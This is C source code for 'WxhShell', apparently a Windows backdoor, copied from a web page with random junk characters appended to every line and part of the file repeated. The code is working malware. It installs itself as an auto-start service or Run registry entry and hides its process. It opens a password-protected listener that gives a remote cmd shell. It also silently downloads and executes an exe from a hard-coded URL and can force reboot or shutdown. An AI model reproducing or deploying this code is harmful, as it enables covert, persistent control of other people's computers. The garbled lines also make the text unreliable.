    ExitThread(0); +QEP:#qZw  
    } ]]NTvr  
    break; vD^Uod1  
    } "-Yj~  
  // 获取shell yNhRh>l  
  case 's': { e-Z ul.m  
    CmdShell(wsh); @R_ON"h  
    closesocket(wsh); f+lPQIB  
    ExitThread(0); iN9G`qF3!Q  
    break; gtnu/ Q  
  } (DkfLadB  
  // 退出 w|1O-k`  
  case 'x': { Mi} .  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); n%6ba77  
    CloseIt(wsh); *zwo="WA\t  
    break; mndKUI}d  
    } OH13@k  
  // 离开 fXe$Ug|5a  
  case 'q': { qg2Vmj<H  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); <Gna}ALkg  
    closesocket(wsh); z22:O"UHa  
    WSACleanup(); (]` rri*^  
    exit(1);  20]p<  
    break; a%2K,.J  
        } s o7.$]aV  
  } t,u;"%go  
  } Kk).KgR  
"QvTn=  
  // 提示信息 N F,<^ u  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); CiV^bYi  
} ^ib =fLu  
  } r=/$}l4  
iS< ^MD  
  return; F1t+D)KA>  
} )O2IEwPd.  
SZUo RWx  
// shell模块句柄 =6 3tp 9  
int CmdShell(SOCKET sock) z%1& t4$  
{ J@OK"%12  
STARTUPINFO si; D\| U_>  
ZeroMemory(&si,sizeof(si)); v_Hy:O}R  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; *c>B-Fo/D  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 0YC|;`J  
PROCESS_INFORMATION ProcessInfo; 6rWb2b  
char cmdline[]="cmd"; X/_89<&  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); &xpvHKJl  
  return 0; ,n2"N5{jw  
} "A> _U<Y  
M.HMn N#  
// 自身启动模式 S0tkqA4  
int StartFromService(void) 0g;)je2_2?  
{ ?./%7v  
typedef struct |\>Ifv%{  
{ 1ASoH,D/  
  DWORD ExitStatus; ?AH B\S  
  DWORD PebBaseAddress; l.P;85/+  
  DWORD AffinityMask; IL1iTR H  
  DWORD BasePriority; tAPf#7{|   
  ULONG UniqueProcessId; !;4Hh)2  
  ULONG InheritedFromUniqueProcessId; v o4U%  
}   PROCESS_BASIC_INFORMATION; mL-6+pJ@  
oQ A,57B  
PROCNTQSIP NtQueryInformationProcess; Q/q>mN"#1  
B}"V.Msv/  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; .K]Uk/W  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; >?#zPweA  
l&*= .Zc7!  
  HANDLE             hProcess; ^]D+H9Tl  
  PROCESS_BASIC_INFORMATION pbi; JLt%G^W >  
^X?uAX-RP|  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); "lrQC`?  
  if(NULL == hInst ) return 0; l"7#(a  
U~d%5?q  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 'Z]wh.]T  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); NTEN  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); @j"6f|d  
`(ik2#B`}  
  if (!NtQueryInformationProcess) return 0; T2n3g|4  
S>)[n]f  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); w IP4Z^  
  if(!hProcess) return 0; "%b Gw v  
2m"cK^  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; pSI8"GwQ  
D&@Iuo  
  CloseHandle(hProcess); ?bpV dm!  
-:kIIK   
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Uu52uR  
if(hProcess==NULL) return 0; Qm=iCZ|E^!  
xI.0m  
HMODULE hMod; ~4|Trz2T  
char procName[255]; 'c_K[p$  
unsigned long cbNeeded; l|{[vZpT  
nW} s  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); xQ2: tY#?  
CB X}_]9X  
  CloseHandle(hProcess); )\j dF-s  
!!ma]pB,  
if(strstr(procName,"services")) return 1; // 以服务启动 *H i}FI  
 Bnk '  
  return 0; // 注册表启动 2% /Kf}+  
} 6`vW4]zu  
m;A[ 2 6X  
// 主模块 3Fxr=  
int StartWxhshell(LPSTR lpCmdLine) E NCWOj  
{ T--%UZD]W  
  SOCKET wsl; awI{%u_(nA  
BOOL val=TRUE; CUHT5J*sY  
  int port=0; " Zx<hL*  
  struct sockaddr_in door; `23][V  
~A1!!rJX  
  if(wscfg.ws_autoins) Install(); aj,o<J  
1;DRcVyS+  
port=atoi(lpCmdLine); >x3lA0m  
B^]PKjLNZ  
if(port<=0) port=wscfg.ws_port; IibYGF  
H cyoNY  
  WSADATA data; [q C0YM  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ~ rQ,%dH  
?Pa(e)8\  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   u>G9r#~`k  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 'n ^,lXWB  
  door.sin_family = AF_INET; =*I|z+  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 8 ]exsn Z  
  door.sin_port = htons(port); @g4o8nH}  
*nHuGla  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 3!osQ1  
closesocket(wsl); (Li0*wRb  
return 1; zsd1n`r  
} 6}?d%K  
dgIH`<U$  
  if(listen(wsl,2) == INVALID_SOCKET) { 9X%: ){  
closesocket(wsl); &oq 0XV.M^  
return 1; > <Zu+HX  
} q5L^>"  
  Wxhshell(wsl); ? dHl'  
  WSACleanup(); wwywiFj  
aidQ,(PDj  
return 0; P tLWFO  
AFm9"mQrw  
} K5|~iW'  
>Q!}tbg~9  
// 以NT服务方式启动 (ie%zrhS  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) -*MY7t3  
{ jU7[z$GX  
DWORD   status = 0; ""XAUxo  
  DWORD   specificError = 0xfffffff; *U]&a^N  
xY#J((-iH  
  serviceStatus.dwServiceType     = SERVICE_WIN32; J{-`&I'b  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 11YJ W-V  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; S2;^  
  serviceStatus.dwWin32ExitCode     = 0; VgODv  
  serviceStatus.dwServiceSpecificExitCode = 0; 1:<(Q2X%  
  serviceStatus.dwCheckPoint       = 0; rhy-o?  
  serviceStatus.dwWaitHint       = 0; } `r.fD  
U1X"UN)  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ^/#G,MxNy  
  if (hServiceStatusHandle==0) return; -{k8^o7$  
83SK<V6  
status = GetLastError(); y.J>}[\&x  
  if (status!=NO_ERROR) }8#Ed;%K  
{ bT&{8a  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; u~j H  
    serviceStatus.dwCheckPoint       = 0; R:YVmqd  
    serviceStatus.dwWaitHint       = 0; FZ ?eX`,  
    serviceStatus.dwWin32ExitCode     = status; !C05;x8{  
    serviceStatus.dwServiceSpecificExitCode = specificError; Zfcf?&><  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); i9XpP(mf  
    return; Z#-N$%^F  
  } kx?Yin8K  
MO0NNVVi%U  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; `D |/g;  
  serviceStatus.dwCheckPoint       = 0; 77yYdil^W+  
  serviceStatus.dwWaitHint       = 0; iiMS3ueF  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); )=d)j^ t9  
} nEd "~  
R"V90bCf  
// 处理NT服务事件,比如:启动、停止 G^#>HE|  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ?z#*eoPr  
{ S-88m/"]s  
switch(fdwControl) qbfX(`nS  
{ RuIBOo\XL7  
case SERVICE_CONTROL_STOP: BK+P  
  serviceStatus.dwWin32ExitCode = 0; q,@# cQBV  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; h!%y,4IBR  
  serviceStatus.dwCheckPoint   = 0; $%MgIy  
  serviceStatus.dwWaitHint     = 0; 2O Ur">_  
  { R|M]mwa^w  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); CvE^t#Bok  
  } *c[w9(fU  
  return; 8|=C/k  
case SERVICE_CONTROL_PAUSE: (w)%2vZ^  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; y zp#  
  break; x@Z{5w_a  
case SERVICE_CONTROL_CONTINUE: #f24a?n|  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ~Jr'4%   
  break; T`fT[BaY  
case SERVICE_CONTROL_INTERROGATE: #jg-q|nd  
  break; ,^8':X"A{!  
}; `1(ED= |  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); _Ffg"xoC  
} " WQ6[;&V  
[B;okW  
// 标准应用程序主函数 t-KicLr  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) /~w*)e)  
{ r^}0 qO,XM  
B os`+Y  
// 获取操作系统版本 .Iqqjk  
OsIsNt=GetOsVer(); xm1di@  
GetModuleFileName(NULL,ExeFile,MAX_PATH); j67ppt  
ah,f~.X_|  
  // 从命令行安装 ' Xj^cX  
  if(strpbrk(lpCmdLine,"iI")) Install(); d=qVIpZ  
V&:x+swt  
  // 下载执行文件 /qy6YF8;y  
if(wscfg.ws_downexe) { m\XsU?SuX  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) !>> A@3  
  WinExec(wscfg.ws_filenam,SW_HIDE); %K|f,w=m  
} M' z.d  
L<@*6QH  
if(!OsIsNt) {  5)'Y\~2  
// 如果时win9x,隐藏进程并且设置为注册表启动 ajk}&`Wj"  
HideProc(); C0N}B1-MU  
StartWxhshell(lpCmdLine); O[t?*m1/  
} d; YKw1  
else Slg *[r#  
  if(StartFromService()) n({%|O<|  
  // 以服务方式启动 b.RU%Y#>\  
  StartServiceCtrlDispatcher(DispatchTable); /Tm+&Jd  
else ?[zw5fUDS  
  // 普通方式启动 AF"7 _  
  StartWxhshell(lpCmdLine); 6_KvS  
UzaAL9k  
return 0; TU^ZvAO&  
} 4z( B`t~7  
xRacgny:I  
7:?\1 a  
FqA4 O U  
=========================================== AaA!U!B  
{24>&<p  
}W}(k2r  
o}:x-Y  
fm-m?=  
IxCesh  
" AJEbiP  
igA?E56?  
#include <stdio.h> dB6 ,pY(  
#include <string.h> u'#/vT#l  
#include <windows.h> !;|#=A9  
#include <winsock2.h> }WIkNG4{Z  
#include <winsvc.h> E,.PT^au  
#include <urlmon.h> K*T^w3=  
tW|0_m>{  
#pragma comment (lib, "Ws2_32.lib") /-FV1G,h  
#pragma comment (lib, "urlmon.lib") Itr 4 Pr  
#%nV\ Bl  
#define MAX_USER   100 // 最大客户端连接数 T,9q~*"  
#define BUF_SOCK   200 // sock buffer 2sIt~ Gn  
#define KEY_BUFF   255 // 输入 buffer PY7H0\S)  
#;ObugY,  
#define REBOOT     0   // 重启 {f-O~P<Z4  
#define SHUTDOWN   1   // 关机 W%>T{}4  
mA$y$73=T  
#define DEF_PORT   5000 // 监听端口 }Mt)57rU  
0)d='3S  
#define REG_LEN     16   // 注册表键长度 _LwF:19Il  
#define SVC_LEN     80   // NT服务名长度 rHw#<oV  
3#t#NW*e  
// 从dll定义API Wjl2S+Cc  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); n46!H0mJ  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); H~s8M  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); G3^<l0?S  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); |3e+ K.  
l%_K$$C  
// wxhshell配置信息 K:'^f? P  
struct WSCFG { 85G-`T  
  int ws_port;         // 监听端口 <<?32r~  
  char ws_passstr[REG_LEN]; // 口令 ?ld&}|W~  
  int ws_autoins;       // 安装标记, 1=yes 0=no YT+b{   
  char ws_regname[REG_LEN]; // 注册表键名 a_P|KRl  
  char ws_svcname[REG_LEN]; // 服务名 >"!ScYn  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 0}e?hbF%U  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 /.7RWy`  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Pp!4Ak4TT9  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ZtO$kK%q;  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 8k-]u3  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 I?PqWG!O  
EB!ne)X  
}; nX3?7"v  
?lD)J?j  
// default Wxhshell configuration ;&CLb`<y  
struct WSCFG wscfg={DEF_PORT, g?"QahH G  
    "xuhuanlingzhe", 7!cLTq  
    1, \_,p@r]Q  
    "Wxhshell", TSewq4`K  
    "Wxhshell", V5ZC2H  
            "WxhShell Service", I9G^T' W  
    "Wrsky Windows CmdShell Service", tIDN~[1  
    "Please Input Your Password: ",  :2nsi4  
  1, $T3_~7N  
  "http://www.wrsky.com/wxhshell.exe", YOLzCnI4  
  "Wxhshell.exe" !i-t6f  
    }; LcvczS T  
C`_/aR6  
// 消息定义模块 i,ZEUdd*_  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 2k<#e2  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 8_4!Ar>2  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; e%)iDt\j  
char *msg_ws_ext="\n\rExit."; _x(hlHFk  
char *msg_ws_end="\n\rQuit."; 082iE G  
char *msg_ws_boot="\n\rReboot..."; dV B#Np  
char *msg_ws_poff="\n\rShutdown..."; *KDTBd  
char *msg_ws_down="\n\rSave to "; LXX('d  
HJ]v-  
char *msg_ws_err="\n\rErr!"; $]_SPu  
char *msg_ws_ok="\n\rOK!"; rwXpB<@l@  
03 gbcNo  
char ExeFile[MAX_PATH]; 50 Gr\  
int nUser = 0; '(B -{}l  
HANDLE handles[MAX_USER]; ~wuCa!!A  
int OsIsNt; EQlb:;j  
\54B  
SERVICE_STATUS       serviceStatus; &Iy5@8  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 9pnOAM}  
%Ve@DF8G  
// 函数声明 nu+K N,3R"  
int Install(void); /xJD/"Y3&  
int Uninstall(void); w*XM*yJHU  
int DownloadFile(char *sURL, SOCKET wsh); &6OY ^6<  
int Boot(int flag); af | mk@  
void HideProc(void); 6k;5T   
int GetOsVer(void); 6vbKKn`ST  
int Wxhshell(SOCKET wsl); 1ygEyC[1  
void TalkWithClient(void *cs); G(wK(P0j  
int CmdShell(SOCKET sock); BH {z]a  
int StartFromService(void);  :'F,l:  
int StartWxhshell(LPSTR lpCmdLine); ,zx{RDI  
c6vJ;iz  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); }nPt[77U_7  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); *$%~/Q@]  
*d=}HO/  
// 数据结构和表定义 ^yB]_*WJ  
SERVICE_TABLE_ENTRY DispatchTable[] = lgiKNZgB?  
{  CA igV$  
{wscfg.ws_svcname, NTServiceMain}, ^/E'Rf3[A  
{NULL, NULL} ^AU-hVj  
}; trrNu  
b>p_w%d[[J  
// 自我安装 -y!Dg6 A  
int Install(void) :'Gn?dv|  
{ <jJ'T?,  
  char svExeFile[MAX_PATH]; 05ClPT\BCr  
  HKEY key; `Z,WKus  
  strcpy(svExeFile,ExeFile); ek<B=F  
of*T,MUI  
// 如果是win9x系统,修改注册表设为自启动 uQdH ():  
if(!OsIsNt) { z{OL+-OY  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { B(Yg1jAe  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); z8a{M$-Q  
  RegCloseKey(key); .B~yI3D`M  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { B)@Xz<Q  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 1(Vv-bq$  
  RegCloseKey(key); I= :yfW  
  return 0; wX)'1H):T  
    } zNo,PERG  
  } @Ik5BT  
} o`Z3}  
else { aMe &4Q  
Vn5%%?]J  
// 如果是NT以上系统,安装为系统服务 yT OZa-  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); tZ62T{, a  
if (schSCManager!=0) =I'iD0eR  
{ I>.pkf<V  
  SC_HANDLE schService = CreateService Td|,3 n  
  ( BEb?jRMjLg  
  schSCManager, Xxh^4vKjX  
  wscfg.ws_svcname, 2H$](k?   
  wscfg.ws_svcdisp, ru`7iqcz  
  SERVICE_ALL_ACCESS, DDmC3  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , mr}o0@5av  
  SERVICE_AUTO_START, 0cB]:*W  
  SERVICE_ERROR_NORMAL, .?NfV%vv  
  svExeFile, vT{(7m!Ra  
  NULL, p9i7<X2&  
  NULL, no-";{c  
  NULL, 6 DQOar>d  
  NULL, [7.Num_L  
  NULL ek5j;%~g1  
  ); _$T !><)y  
  if (schService!=0) qfT9g>EF  
  { c}OveR$'&  
  CloseServiceHandle(schService); +$ djX=3  
  CloseServiceHandle(schSCManager); 6,LE_ -G5  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); XixjdBFP  
  strcat(svExeFile,wscfg.ws_svcname); am/}V%^  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { .a2R2~35  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); .&b^6$dC  
  RegCloseKey(key); Hz,Gn9:p  
  return 0; GtmoFSZ  
    } ?84f\<"  
  } ~H\P0G5GA  
  CloseServiceHandle(schSCManager); ]vcT2lr]  
} NaoOgZ?  
} _`=qc/-0  
V#,|#2otZ  
return 1; ,Zie2I?q  
} *j83E[(]  
:1f,%Z$,q  
// 自我卸载 r:o9:w:  
int Uninstall(void) E^n!h06~G  
{ @dK_w 'W  
  HKEY key; lW-G]V  
A ,0}bFK  
if(!OsIsNt) {  Hvz;[!  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { %fld<O  
  RegDeleteValue(key,wscfg.ws_regname); _gK}Gi?|  
  RegCloseKey(key); ZJbaioc\  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { -{*3<2rFK  
  RegDeleteValue(key,wscfg.ws_regname); ]+ub R;  
  RegCloseKey(key); 1^NC=IS9z  
  return 0; 6%t6u3  
  } [YlRz  
} $H@   
} oAN,_1v)  
else { ~-sgk"$  
ozS'n]8*  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); S`[(y?OF?  
if (schSCManager!=0) 2IHS)kkT|  
{ L=#B>Eu  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); s'tXb=!HO  
  if (schService!=0) H{E(=S  
  { tAjT-CXg  
  if(DeleteService(schService)!=0) { PQ!'<  
  CloseServiceHandle(schService); \l0!si  
  CloseServiceHandle(schSCManager); h] )&mFiE"  
  return 0; &/' O?HWl  
  } jm&[8ApW  
  CloseServiceHandle(schService); .3+ 8Ip#z  
  } ~g[D!HV|yu  
  CloseServiceHandle(schSCManager); |a[" ^ 2  
} A-vYy1,'  
} K;THYMp/[  
s0_HMP x  
return 1; ,eOZv=:  
} z4J\BB  
g;R  
// 从指定url下载文件 _G4 U  
int DownloadFile(char *sURL, SOCKET wsh) c9uu4%KG6<  
{ hb1h .F  
  HRESULT hr; [Ti ' X#  
char seps[]= "/"; _{if"  
char *token; ffB<qf)?G  
char *file; [xfg6  
char myURL[MAX_PATH]; &>.QDO  
char myFILE[MAX_PATH]; :O,,fJ<x.O  
+c]D2@ctG  
strcpy(myURL,sURL); S~z$ =IiB  
  token=strtok(myURL,seps); H,;ZFg/v8  
  while(token!=NULL) n~>b}DY  
  { H^B,b !5i  
    file=token; xV`)?hEXFh  
  token=strtok(NULL,seps); hms Aim9i  
  } "{S4YA  
*.$ov<E.  
GetCurrentDirectory(MAX_PATH,myFILE); !eb{#9S*  
strcat(myFILE, "\\"); \l[AD-CZPh  
strcat(myFILE, file); N-}OmcO]e  
  send(wsh,myFILE,strlen(myFILE),0); XkW@"pf&Fh  
send(wsh,"...",3,0); @/01MBs;  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); b<r*EY  
  if(hr==S_OK) g-x;a0MQx  
return 0; kot KKs   
else <#Fex'4  
return 1; jtpk5 fJB  
ept:<!4  
} {9@E[bWp#  
V~.SgbLc  
// 系统电源模块 C]zgVbu  
int Boot(int flag) Iw$T'I+4W  
{ s!Id55R]  
  HANDLE hToken; BlqfST#6  
  TOKEN_PRIVILEGES tkp; Z>NA 9:  
Mns=X)/hc  
  if(OsIsNt) { T sJ71  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); oqK: 5|  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); N'5DB[:c:  
    tkp.PrivilegeCount = 1; u0uz~ s  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 3WfZzb+  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Y8mv[+Z  
if(flag==REBOOT) { u7p:6W  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 2<2a3'pG  
  return 0; Np~qtR  
} h^ K>(x  
else { m|Z[8Tup  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Df1eHa5-7  
  return 0; zcEpywNP  
} </fTn_{2s8  
  } <PO-S\N  
  else { ov>`MCS,v  
if(flag==REBOOT) { I= z+`o8  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) d7kv <YG  
  return 0; !<-+}X+o8$  
} }u5J<*:bZ  
else { Oo\~' I  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) !\&4,l(  
  return 0; r7)iNTQ1  
} /#xYy^`  
} Dt]FmU  
?H!X p  
return 1; WN#dR~>  
} ZQJh5.B  
y2C/DyuAY|  
// win9x进程隐藏模块 lo >:S1  
void HideProc(void) Y7yzM1?t  
{ YGq-AB  
C4C!-12  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); KEr?&e  
  if ( hKernel != NULL ) Cmj `WSSa  
  { 'ka"0~:NS{  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); stCFLYox  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ui^v.YCMI  
    FreeLibrary(hKernel); kZ 9n@($B  
  } A`b )7+mB  
}% ?WS  
return; %{P." ki  
} 0k|/]zfb  
VzFzVeJ  
// 获取操作系统版本 1]jUiX=T  
int GetOsVer(void) ^m^,:]I0P  
{  M Xl!  
  OSVERSIONINFO winfo; Hkj| e6  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); =0mGfT c  
  GetVersionEx(&winfo); 7)3cq}]O  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Rv+p4RgA  
  return 1; ?x =Sm|Ej  
  else Fd0\T#k  
  return 0; ^TY8,qDA  
} 51M'x_8  
=}4lx^`oeT  
// 客户端句柄模块 3_k3U  
int Wxhshell(SOCKET wsl) `?Xt ,  
{ g.O? 1bebe  
  SOCKET wsh; L`Q9-#Y  
  struct sockaddr_in client; QWxl$%`89<  
  DWORD myID; |teDe6 \m  
r;aP`MVO<  
  while(nUser<MAX_USER)  SjO Iln  
{ 'r?OzFtxh  
  int nSize=sizeof(client); d "vd_}P~  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ma4r/8Q  
  if(wsh==INVALID_SOCKET) return 1; gbRdng7(}  
/-)|dP  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); -`ykVH gg  
if(handles[nUser]==0) U^X8{,8O  
  closesocket(wsh); -?<L"u  
else 5Bc)QKh`l|  
  nUser++; ? &;d)TQ  
  } /%GMbO_  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); OL"So u4  
_.Bite^  
  return 0; &U/~*{  
} IyA8+N y  
0#KB.2AP  
// 关闭 socket OG}D;Ew  
void CloseIt(SOCKET wsh) }UWRH.;v  
{ gBG.3\[  
closesocket(wsh); S\UM0G}v  
nUser--; k||DcwO  
ExitThread(0); +#<"o#gZ  
} RsDI7v  
#8d$%F))  
// 客户端请求句柄 Qmh*Gh? v  
void TalkWithClient(void *cs) wbId}!  
{ WH$ Ls('  
cBA2;5E  
  SOCKET wsh=(SOCKET)cs; $T0|zPK5  
  char pwd[SVC_LEN]; Mhw\i&*U  
  char cmd[KEY_BUFF]; K\ \U F  
char chr[1]; d|sI>6jD  
int i,j; %rRpUrnm  
i=<(fq  
  while (nUser < MAX_USER) { " ,rA  
%tzz3Y  
if(wscfg.ws_passstr) { XfT6,h7vFL  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); *lG$B@;rc|  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ':w6 {b  
  //ZeroMemory(pwd,KEY_BUFF); |E]YP~h  
      i=0; } q ? iJ?P  
  while(i<SVC_LEN) { &,&oTd.  
a~~"2LE`  
  // 设置超时 m%E7V{t  
  fd_set FdRead; ,O(XNA(C  
  struct timeval TimeOut; U%45qCU  
  FD_ZERO(&FdRead); }H ,A T  
  FD_SET(wsh,&FdRead); ()>\D  
  TimeOut.tv_sec=8; VuZmX1x)N  
  TimeOut.tv_usec=0; +o/;bm*U<K  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 6CU8BDN  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Gf'V68,l$  
XW Y0WDh:  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);  5>w>J  
  pwd=chr[0]; O!]w J  
  if(chr[0]==0xd || chr[0]==0xa) { n5]<|>U vx  
  pwd=0; t@v>eb  
  break; 4!gyFi6$  
  } W#y)ukRv  
  i++; nhCB ])u8l  
    } }u+R,@l/  
e:V,>RbC0s  
  // 如果是非法用户,关闭 socket ]@?3,N  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); tXK hkt`  
} |ns^' q  
HKcipDW  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); C.(ZXU7  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); x{ZVq 4  
[bT@Y:X@`  
while(1) { G:e}>'  
iKS9Xss8  
  ZeroMemory(cmd,KEY_BUFF); {2:H`|x  
-G Kelz?h>  
      // 自动支持客户端 telnet标准   G(0 bulq  
  j=0; 4 |5ekwk  
  while(j<KEY_BUFF) { nC&rQQFF  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ci^-0l_O  
  cmd[j]=chr[0]; 4GHIRH C%[  
  if(chr[0]==0xa || chr[0]==0xd) { 3P\I;xM  
  cmd[j]=0; b]g.>$[nX  
  break; O: BP35z_F  
  } [7s5Vt|  
  j++; ;Ok11wOw  
    } ?<LG(WY  
n'h )(^  
  // 下载文件 w\2[dd  
  if(strstr(cmd,"http://")) { r 2H'r ,N  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); rP\ 7C+  
  if(DownloadFile(cmd,wsh))  +NXj/  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); f@/qW!o  
  else -=sxbs.aA  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); z~Pmh%b  
  } J/=A f [  
  else { ]Ns&`Yn{  
Vut.oB$ ~  
    switch(cmd[0]) { R{rV1j#@!a  
  a "1$z`ln  
  // 帮助 s]&y\Z  
  case '?': { %!$-N!e  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); +|8Lt[^ux  
    break; 4*,q 1yK  
  } CM#EA"9  
  // 安装 0$_imjZ  
  case 'i': { `i:0dVs  
